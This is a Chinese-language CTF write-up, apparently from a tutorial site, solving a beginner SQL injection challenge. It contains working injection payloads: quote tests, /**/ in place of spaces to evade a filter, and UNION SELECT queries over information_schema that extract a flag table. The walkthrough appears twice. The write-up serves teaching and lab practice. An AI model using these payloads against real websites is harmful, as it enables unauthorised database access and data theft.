所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意的SQL命令。具體來說,它是利用現(xiàn)有應用程序,將(惡意)的SQL命令注入到后臺數(shù)據(jù)庫引擎執(zhí)行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫,而不是按照設計者意圖去執(zhí)行SQL語句。比如先前的很多影視網(wǎng)站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到sql注入攻擊。
分別輸入1,2,3有對應的結(jié)果
使用'會報錯,于是
構造常用的sql語句:1' and '1'='1
沒有反應試一試1' and '1'='2
還是沒反應,工具提示,應該是過濾了什么,改一下sql語句試一試
1and1=1
可以顯示東西,經(jīng)過判斷過濾了空格,我們使用/**/來代替空格
試一試1'/**/and/**/'1'='1
發(fā)現(xiàn)有結(jié)果了:
于是構建sql語句:
判斷有那些數(shù)據(jù)庫:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到結(jié)果:
查看有哪些數(shù)據(jù)表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
發(fā)現(xiàn)了flag的表,我們猜測應該是在web1數(shù)據(jù)庫中并且字段就是flag(其實就在本頁面的數(shù)據(jù)庫中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
本人也是初學者,參考了許多大佬的wp 自己寫出來后有什么錯誤的地方,希望大家指出,謝謝!
根據(jù)頁面提示,到底過濾了什么東西?可以知道一定過濾了什么....
分別輸入1,2,3有對應的結(jié)果
使用'會報錯,于是
構造常用的sql語句:1' and '1'='1
沒有反應試一試1' and '1'='2
還是沒反應,工具提示,應該是過濾了什么,改一下sql語句試一試
1and1=1
可以顯示東西,經(jīng)過判斷過濾了空格,我們使用/**/來代替空格
試一試1'/**/and/**/'1'='1
發(fā)現(xiàn)有結(jié)果了:
于是構建sql語句:
判斷有那些數(shù)據(jù)庫:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到結(jié)果:
查看有哪些數(shù)據(jù)表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
發(fā)現(xiàn)了flag的表,我們猜測應該是在web1數(shù)據(jù)庫中并且字段就是flag(其實就在本頁面的數(shù)據(jù)庫中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
總結(jié)
以上所述是小編給大家介紹的一個簡單的sql注入,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!
您可能感興趣的文章:- Java面試題解析之判斷以及防止SQL注入
- SQL注入原理與解決方法代碼示例
- 通過ibatis解決sql注入問題
- Win2003服務器防SQL注入神器--D盾_IIS防火墻
- Sql注入工具_動力節(jié)點Java學院整理
- Sql注入原理簡介_動力節(jié)點Java學院整理
- 尋找sql注入的網(wǎng)站的方法(必看)
- Mybatis防止sql注入的實例
- Hibernate使用中防止SQL注入的幾種方案
- 有效防止SQL注入的5種方法總結(jié)
- 關于SQL注入中文件讀寫的方法總結(jié)
- 深入了解SQL注入